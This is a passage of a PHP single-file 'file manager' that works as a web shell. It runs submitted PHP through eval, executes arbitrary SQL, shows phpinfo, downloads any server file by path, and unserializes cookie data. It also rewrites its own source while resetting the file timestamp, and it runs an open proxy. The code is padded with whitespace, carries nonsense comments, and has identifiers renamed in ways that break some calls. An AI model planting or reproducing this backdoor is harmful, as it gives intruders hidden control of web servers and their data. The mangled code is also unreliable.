	                 'sql_db' => 'test_base',
	                 'enable_proxy' => true,
	                 'show_phpinfo' => true,
	                 'show_xls' => true,
	                 'fm_settings' => true,
	                 'restore_time' => true,

	                 'fm_restore_time' => false,
                                          
);


                                                                                     
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;

else $fm_config = unserialize($_COOKIE['fm_config']);
                                    

// Change language
if (isset($_POST['fm_lang'])) { 
	                 setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
                         
	                 $_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
                        
$language = $default_language;



         // Detect browser language

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	                 $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
                                                                 
	                 if (!empty($lang_priority)){
	                 	                 foreach ($lang_priority as $lang_arr){

	                 	                 	                 $lng = explode(';', $lang_arr);

	                 	                 	                 $lng = $lng[0];
	                 	                 	                 if(in_array($lng,$langs)){

	                 	                 	                 	                 $language = $lng;

	                 	                 	                 	                 break;
	                 	                 	                 }

	                 	                 }
	                 }
                                        
} 


// Cookie language is primary for ever
                                                                                               
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


// Localization
$lang = json_decode($translation,true);
                                                  
if ($lang['id']!=$language) {
	                 $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');

	                 if (!empty($get_lang)) {

	                 	                 //remove unnecessary characters

	                 	                 $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

	                 	                 $fgc = file_get_contents(__FILE__);
                                                                        
	                 	                 $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

	                 	                 if (!empty($matches[1])) {

	                 	                 	                 $filemtime = filemtime(__FILE__);

	                 	                 	                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
	                 	                 	                 if (file_put_contents(__FILE__, $replace)) {
	                 	                 	                 	                 $msg .= __('File updated');

	                 	                 	                 }	                 else $msg .= __('Error occurred');
	                 	                 	                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	                 	                 }	                 

	                 	                 $lang = json_decode($translation_string,true);
	                 }
}


/* Functions */
                                              


//translation

function __($text){
                           
	                 global $lang;

	                 if (isset($lang[$text])) return $lang[$text];

	                 else return $text;

};


//delete conjuntoArchivos and dirs recursively
                                                                      
function fm_del_conjuntoArchivos($file, $recursive = false) {

	                 if($recursive && @is_dir($file)) {
	                 	                 $els = fm_scan_dir($file, '', '', true);
                                                                             
	                 	                 foreach ($els as $el) {

	                 	                 	                 if($el != '.' && $el != '..'){
	                 	                 	                 	                 fm_del_conjuntoArchivos($file . '/' . $el, true);
	                 	                 	                 }
	                 	                 }
                                                                                                    
	                 }

	                 if(@is_dir($file)) {

	                 	                 return rmdir($file);

	                 } else {
	                 	                 return @unlink($file);

	                 }
}


                                               
//file perms
                                                                             
function fm_rights_string($file, $if = false){
	                 $perms = fileperms($file);

	                 $info = '';
                                                                                         
	                 if(!$if){

	                 	                 if (($perms & 0xC000) == 0xC000) {
	                 	                 	                 // Geunyeoneun pail-eul yeolgi anhado bondaebo anida
                                                            
	                 	                 	                 $info = 's';
	                 	                 } elseif (($perms & 0xA000) == 0xA000) {

	                 	                 	                 // File manager-neun file encrypting-haji anheul su issda

	                 	                 	                 $info = 'l';
	                 	                 } elseif (($perms & 0x8000) == 0x8000) {
                                                                                              
	                 	                 	                 // Batch rename haji anheul su issda, jeongtobat-ui file-modifying
	                 	                 	                 $info = '-';

	                 	                 } elseif (($perms & 0x6000) == 0x6000) {
                                                             





	                 	                 	                 // Geunyeoneun daetongi-reul hago salpigi jeongri-jyo-reul hanbeon godo

	                 	                 	                 $info = 'b';

	                 	                 } elseif (($perms & 0x4000) == 0x4000) {

	                 	                 	                 // File manager-neun planjang format-eul tongsang, wi-dae hanbeon pil-ling hal su issda

	                 	                 	                 $info = 'd';
                                                                         
	                 	                 } elseif (($perms & 0x2000) == 0x2000) {
                                                                        
	                 	                 	                 //Character special

	                 	                 	                 $info = 'c';

	                 	                 } elseif (($perms & 0x1000) == 0x1000) {
                                          
	                 	                 	                 // FTP/SFTP server-peul-gong jeongdo subhanghaji anheul su issda
	                 	                 	                 $info = 'p';

	                 	                 } else {
	                 	                 	                 // Geunyeoneun file-jari-reul jangyeonggi-ge saeroun version-taeg geoseosdeor-oe na-rim
	                 	                 	                 $info = 'u';
                                                                   
	                 	                 }
                                                                              
	                 }
  

	                 //Owner

	                 $info .= (($perms & 0x0100) ? 'r' : '-');
                        
	                 $info .= (($perms & 0x0080) ? 'w' : '-');

	                 $info .= (($perms & 0x0040) ?
	                 (($perms & 0x0800) ? 's' : 'x' ) :
                                                                                       
	                 (($perms & 0x0800) ? 'S' : '-'));

 
	                 //Group

	                 $info .= (($perms & 0x0020) ? 'r' : '-');
	                 $info .= (($perms & 0x0010) ? 'w' : '-');

	                 $info .= (($perms & 0x0008) ?
	                 (($perms & 0x0400) ? 's' : 'x' ) :

	                 (($perms & 0x0400) ? 'S' : '-'));

 

	                 //World

	                 $info .= (($perms & 0x0004) ? 'r' : '-');

	                 $info .= (($perms & 0x0002) ? 'w' : '-');

	                 $info .= (($perms & 0x0001) ?
                                                               
	                 (($perms & 0x0200) ? 't' : 'x' ) :
                                                                                
	                 (($perms & 0x0200) ? 'T' : '-'));



	                 return $info;

}

                                                                            
function fm_convert_rights($mode) {

	                 $mode = str_pad($mode,9,'-');

	                 $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
                      
	                 $mode = strtr($mode,$trans);

	                 $newmode = '0';

	                 $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	                 $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
                                       
	                 $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
                                    
	                 $newmode .= $owner . $group . $world;
                                                                           
	                 return intval($newmode, 8);

}



function fm_chmod($file, $val, $rec = false) {

	                 $res = @chmod(realpath($file), $val);

	                 if(@is_dir($file) && $rec){

	                 	                 $els = fm_scan_dir($file);

	                 	                 foreach ($els as $el) {
                                                      
	                 	                 	                 $res = $res && fm_chmod($file . '/' . $el, $val, true);
	                 	                 }
	                 }

	                 return $res;
}


//load conjuntoArchivos
                                                       
function fm_download($nombreEntradaPaquete) {

    if (!empty($nombreEntradaPaquete)) {
                              
	                 	                 if (file_exists($nombreEntradaPaquete)) {
                      
	                 	                 	                 header("Content-Disposition: attachment; filename=" . basename($nombreEntradaPaquete));   
	                 	                 	                 header("Content-Type: application/force-download");

	                 	                 	                 header("Content-Type: application/octet-stream");
                                         
	                 	                 	                 header("Content-Type: application/download");
                                                                      
	                 	                 	                 header("Content-Description: File Transfer");            

	                 	                 	                 header("Content-Length: " . conjuntoArchivosize($nombreEntradaPaquete));	                 	                 

	                 	                 	                 flush(); // this doesn't really matter.
	                 	                 	                 $fp = fopen($nombreEntradaPaquete, "r");
	                 	                 	                 while (!feof($fp)) {

	                 	                 	                 	                 echo fread($fp, 65536);
	                 	                 	                 	                 flush(); // this is essential for large downloads

	                 	                 	                 } 

	                 	                 	                 fclose($fp);
                              
	                 	                 	                 die();

	                 	                 } else {

	                 	                 	                 header('HTTP/1.0 404 Not Found', true, 404);
                                                                         
	                 	                 	                 header('Status: 404 Not Found'); 
	                 	                 	                 die();

        }
    } 

}


//show folder size
function fm_dir_size($f,$format=true) {

	                 if($format)  {
	                 	                 $size=fm_dir_size($f,false);
                                                                                                   
	                 	                 if($size<=1024) return $size.' bytes';

	                 	                 elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

	                 	                 elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

	                 	                 elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

	                 	                 elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
                                                                              
	                 	                 else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
                                            
	                 } else {

	                 	                 if(is_file($f)) return conjuntoArchivosize($f);
	                 	                 $size=0;

	                 	                 $dh=opendir($f);
                                                       
	                 	                 while(($file=readdir($dh))!==false) {
                                                                           
	                 	                 	                 if($file=='.' || $file=='..') continue;

	                 	                 	                 if(is_file($f.'/'.$file)) $size+=conjuntoArchivosize($f.'/'.$file);

	                 	                 	                 else $size+=fm_dir_size($f.'/'.$file,false);

	                 	                 }

	                 	                 closedir($dh);
                                                                                    
	                 	                 return $size+conjuntoArchivosize($f); 
	                 }

}

                                                 
//scan directory
                                                                              
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	                 $dir = $ndir = array();

	                 if(!empty($exp)){

	                 	                 $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	                 }
	                 if(!empty($type) && $type !== 'all'){

	                 	                 $func = 'is_' . $type;

	                 }
	                 if(@is_dir($directory)){

	                 	                 $fh = opendir($directory);

	                 	                 while (false !== ($filename = readdir($fh))) {
	                 	                 	                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

	                 	                 	                 	                 if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
                              
	                 	                 	                 	                 	                 $dir[] = $filename;
	                 	                 	                 	                 }
	                 	                 	                 }
	                 	                 }
	                 	                 closedir($fh);

	                 	                 natsort($dir);

	                 }
	                 return $dir;

}

function fm_link($get,$link,$name,$title='') {
	                 if (empty($title)) $title=$name.' '.basename($link);
                                                                                       
	                 return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
                                                        
}



function fm_arr_to_option($arr,$n,$sel=''){

	                 foreach($arr as $v){

	                 	                 $b=$v[$n];
                                                     
	                 	                 $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	                 }
                        
	                 return $res;
}

                                                            
function fm_lang_form ($current='en'){
                      
return '
                                                                                 
<form name="change_lang" method="post" action="">
	                 <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
	                 	                 <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
	                 	                 <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

	                 	                 <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

	                 	                 <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
	                 	                 <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	                 </select>

</form>
';
}

	                 

function fm_root($dirname){
	                 return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	                 $display_registrosErrores=ini_get('display_registrosErrores');

	                 ini_set('display_registrosErrores', '1');
                                                      
	                 ob_start();

	                 eval(trim($string));

	                 $text = ob_get_contents();

	                 ob_end_clean();

	                 ini_set('display_registrosErrores', $display_registrosErrores);
	                 return $text;
                                                   
}
                                                                     


//SHOW DATABASES
function fm_sql_connect(){

	                 global $fm_config;
                                                                              
	                 return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);

}
                                                              

function fm_sql($query){
	                 global $fm_config;
                                                                         
	                 $query=trim($query);

	                 ob_start();

	                 $connection = fm_sql_connect();
                                                    
	                 if ($connection->connect_error) {
	                 	                 ob_end_clean();	                 
	                 	                 return $connection->connect_error;
	                 }
                                       
	                 $connection->set_charset('utf8');

    $queried = mysqli_query($connection,$query);

	                 if ($queried===false) {

	                 	                 ob_end_clean();	                 
                                                                  
	                 	                 return mysqli_error($connection);
                                                                                
    } else {
	                 	                 if(!empty($queried)){
	                 	                 	                 while($row = mysqli_fetch_assoc($queried)) {
                           
	                 	                 	                 	                 $query_result[]=  $row;

	                 	                 	                 }
	                 	                 }

	                 	                 $vdump=empty($query_result)?'':var_export($query_result,true);	                 

	                 	                 ob_end_clean();	                 

	                 	                 $connection->close();

	                 	                 return '<pre>'.stripslashes($vdump).'</pre>';

	                 }

}
                                                

                                  
function fm_backup_tables($tables = '*', $full_backup = true) {

	                 global $path;
                                                                
	                 $mysqldb = fm_sql_connect();

	                 $delimiter = "; \n  \n";

	                 if($tables == '*')	                 {
                                                    
	                 	                 $tables = array();

	                 	                 $result = $mysqldb->query('SHOW TABLES');

	                 	                 while($row = mysqli_fetch_row($result))	                 {
                                                          
	                 	                 	                 $tables[] = $row[0];

	                 	                 }

	                 } else {
	                 	                 $tables = is_array($tables) ? $tables : explode(',',$tables);

	                 }
    

	                 $return='';
                                                                                                 
	                 foreach($tables as $table)	                 {
	                 	                 $result = $mysqldb->query('SELECT * FROM '.$table);

	                 	                 $num_fields = mysqli_num_fields($result);

	                 	                 $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
                                                                                                    
	                 	                 $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
	                 	                 $return.=$row2[1].$delimiter;
                                                                             
        if ($full_backup) {
	                 	                 for ($i = 0; $i < $num_fields; $i++)  {

	                 	                 	                 while($row = mysqli_fetch_row($result)) {

	                 	                 	                 	                 $return.= 'INSERT INTO `'.$table.'` VALUES(';

	                 	                 	                 	                 for($j=0; $j<$num_fields; $j++)	                 {
                                                                                           
	                 	                 	                 	                 	                 $row[$j] = addslashes($row[$j]);

	                 	                 	                 	                 	                 $row[$j] = str_replace("\n","\\n",$row[$j]);
                                                             
	                 	                 	                 	                 	                 if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

	                 	                 	                 	                 	                 if ($j<($num_fields-1)) { $return.= ','; }
                                                                                  
	                 	                 	                 	                 }

	                 	                 	                 	                 $return.= ')'.$delimiter;
	                 	                 	                 }
                                                              
	                 	                   }

	                 	                 } else { 
                                                                                                
	                 	                 $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

	                 	                 }
	                 	                 $return.="\n\n\n";
	                 }


                      
	                 //save file
                                      
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	                 $handle = fopen($file,'w+');

	                 fwrite($handle,$return);
	                 fclose($handle);

	                 $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
                                                       
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}



function fm_restore_tables($sqlFileToExecute) {
                               
	                 $mysqldb = fm_sql_connect();
                                                   
	                 $delimiter = "; \n  \n";
    // Load and explode the sql file

    $f = fopen($sqlFileToExecute,"r+");
                                                     
    $sqlFile = fread($f,conjuntoArchivosize($sqlFileToExecute));

    $sqlArray = explode($delimiter,$sqlFile);

	                 

    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {

        if (strlen($stmt)>3){
	                 	                 	                 $result = $mysqldb->query($stmt);
                                                                                           
	                 	                 	                 	                 if (!$result){

	                 	                 	                 	                 	                 $sqlErrorCode = mysqli_errno($mysqldb->connection);
                        
	                 	                 	                 	                 	                 $sqlErrorText = mysqli_error($mysqldb->connection);
                             
	                 	                 	                 	                 	                 $sqlStmt      = $stmt;

	                 	                 	                 	                 	                 break;
           	                      }

           	                   }

           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}



function fm_img_link($filename){
	                 return './'.basename(__FILE__).'?img='.base64_encode($filename);

}
                                             

                                                                                   
function fm_home_style(){
                                                 
	                 return '
                               
input, input.fm_input {

	                 text-indent: 2px;
                                                                        
}


input, textarea, select, input.fm_input {

	                 color: black;
                                
	                 font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	                 border-color: black;

	                 background-color: #FCFCFC none !important;

	                 border-radius: 0;
	                 padding: 2px;

}



input.fm_input {

	                 background: #FCFCFC none !important;

	                 cursor: pointer;
                                                                                
}
                                                                             


.home {

	                 background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWs/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3TMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhW/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	                 background-repeat: no-repeat;
}';
                         
}



function fm_config_checkbox_row($name,$value) {

	                 global $fm_config;

	                 return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
                                                                               
}


function fm_protocol() {
	                 if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	                 if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	                 if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	                 if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	                 return 'http://';
}
                                                                                                  

                                            
function fm_site_url() {
	                 return fm_protocol().$_SERVER['HTTP_HOST'];

}
                                                                                


function fm_url($full=false) {
	                 $host=$full?fm_site_url():'.';

	                 return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){

	                 return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}
                                                                                 


function fm_run_input($lng) {
	                 global $fm_config;
                                  
	                 $return = !empty($fm_config['enable_'.$lng.'_console']) ? 

	                 '

	                 	                 	                 	                 <form  method="post" action="'.fm_url().'" style="display:inline">

	                 	                 	                 	                 <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

	                 	                 	                 	                 </form>
' : '';
                                                            
	                 return $return;

}

                                                                                                   
function fm_url_proxy($matches) {

	                 $link = str_replace('&amp;','&',$matches[2]);

	                 $url = isset($_GET['url'])?$_GET['url']:'';

	                 $parse_url = parse_url($url);

	                 $host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	                 if (substr($link,0,2)=='//') {
                                                    
	                 	                 $link = substr_replace($link,fm_protocol(),0,2);
                                 
	                 } elseif (substr($link,0,1)=='/') {
	                 	                 $link = substr_replace($link,$host,0,1);	                 

	                 } elseif (substr($link,0,2)=='./') {

	                 	                 $link = substr_replace($link,$host,0,2);	                 

	                 } elseif (substr($link,0,4)=='http') {

	                 	                 //alles machen wunderschon
                                
	                 } else {

	                 	                 $link = $host.$link;
	                 } 

	                 if ($matches[1]=='href' && !strripos($link, 'css')) {
	                 	                 $base = fm_site_url().'/'.basename(__FILE__);

	                 	                 $baseq = $base.'?proxy=true&url=';
	                 	                 $link = $baseq.urlencode($link);

	                 } elseif (strripos($link, 'css')){

	                 	                 //как-то тоже подменять надо

	                 }

	                 return $matches[1].'="'.$link.'"';
                                                                     
}
 

function fm_tpl_form($lng_tpl) {

	                 global ${$lng_tpl.'_templates'};
                                                                                 
	                 $tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	                 $str = '';
	                 foreach ($tpl_arr as $ktpl=>$vtpl) {

	                 	                 $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	                 }

return '
                                                                               
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
                                                              
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>
                                                                                          
</table>
';

}
                                                                                           


function find_text_in_conjuntoArchivos($dir, $mask, $text) {
                                                           
    $results = array();
    if ($handle = opendir($dir)) {

        while (false !== ($entry = readdir($handle))) {

            if ($entry != "." && $entry != "..") {

                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_conjuntoArchivos($path, $mask, $text));
                                                                                            
                } else {
                    if (fnmatch($mask, $entry)) {
                                
                        $contents = file_get_contents($path);

                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }

                    }

                }

            }

        }

        closedir($handle);
    }
    return $results;
                                                        
}
                                                                   



                                                     
/* End Functions */



// authorization

if ($auth['authorize']) {
                                                   
	                 if (isset($_POST['login']) && isset($_POST['password'])){

	                 	                 if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {

	                 	                 	                 setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));

	                 	                 	                 $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
	                 	                 }
                                  
	                 }

	                 if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
                                           
	                 	                 echo '
<!doctype html>

<html>

<head>
<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>
<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
                                                         
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
                                                                                  
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
                                                  
</html>

';  

die();

	                 }
                                                                                         
	                 if (isset($_POST['quit'])) {
	                 	                 unset($_COOKIE[$auth['cookie_name']]);
                                 
	                 	                 setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
                                                                                  
	                 	                 header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
                                                                                        
	                 }
                                                  
}



// Change config
if (isset($_GET['fm_settings'])) {
	                 if (isset($_GET['fm_config_delete'])) { 
	                 	                 unset($_COOKIE['fm_config']);

	                 	                 setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));

	                 	                 header('Location: '.fm_url().'?fm_settings=true');

	                 	                 exit(0);
	                 }	                 elseif (isset($_POST['fm_config'])) { 
	                 	                 $fm_config = $_POST['fm_config'];
                                                                                   
	                 	                 setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));

	                 	                 $_COOKIE['fm_config'] = serialize($fm_config);
	                 	                 $msg = __('Settings').' '.__('done');

	                 }	                 elseif (isset($_POST['fm_login'])) { 

	                 	                 if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

	                 	                 $fm_login = json_encode($_POST['fm_login']);

	                 	                 $fgc = file_get_contents(__FILE__);

	                 	                 $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

	                 	                 if (!empty($matches[1])) {

	                 	                 	                 $filemtime = filemtime(__FILE__);

	                 	                 	                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

	                 	                 	                 if (file_put_contents(__FILE__, $replace)) {

	                 	                 	                 	                 $msg .= __('File updated');
                                   
	                 	                 	                 	                 if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
	                 	                 	                 	                 if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];

	                 	                 	                 	                 $auth = $_POST['fm_login'];

	                 	                 	                 }
	                 	                 	                 else $msg .= __('Error occurred');

	                 	                 	                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	                 	                 }
	                 } elseif (isset($_POST['tpl_edited'])) { 

	                 	                 $lng_tpl = $_POST['tpl_edited'];
	                 	                 if (!empty($_POST[$lng_tpl.'_name'])) {

	                 	                 	                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

	                 	                 } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

	                 	                 	                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
	                 	                 }
                                                                                                    
	                 	                 if (!empty($fm_php)) {
                                   
	                 	                 	                 $fgc = file_get_contents(__FILE__);

	                 	                 	                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
                                 
	                 	                 	                 if (!empty($matches[1])) {
                                                            
	                 	                 	                 	                 $filemtime = filemtime(__FILE__);

	                 	                 	                 	                 $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
	                 	                 	                 	                 if (file_put_contents(__FILE__, $replace)) {
	                 	                 	                 	                 	                 ${$lng_tpl.'_templates'} = $fm_php;
	                 	                 	                 	                 	                 $msg .= __('File updated');
                                     
	                 	                 	                 	                 } else $msg .= __('Error occurred');
                                                     
	                 	                 	                 	                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	                 	                 	                 }	                 

	                 	                 } else $msg .= __('Error occurred');
                                
	                 }
}

// Just show image
if (isset($_GET['img'])) {
	                 $file=base64_decode($_GET['img']);
                                                                                  
	                 if ($info=getimagesize($file)){

	                 	                 switch  ($info[2]){	                 //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

	                 	                 	                 case 1: $ext='gif'; break;

	                 	                 	                 case 2: $ext='jpeg'; break;

	                 	                 	                 case 3: $ext='png'; break;

	                 	                 	                 case 6: $ext='bmp'; break;

	                 	                 	                 default: die();
	                 	                 }
	                 	                 header("Content-type: image/$ext");

	                 	                 echo file_get_contents($file);

	                 	                 die();

	                 }
}


                                                   
// Just download file

if (isset($_GET['download'])) {

	                 $file=base64_decode($_GET['download']);
	                 fm_download($file);	                 

}



// Just show info
if (isset($_GET['phpinfo'])) {
                                   
	                 phpinfo(); 

	                 die();

}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
                                                                                           
	                 $url = isset($_GET['url'])?urldecode($_GET['url']):'';
                                                         
	                 $proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	                 <form action="" method="GET">

	                 <input type="hidden" name="proxy" value="true">

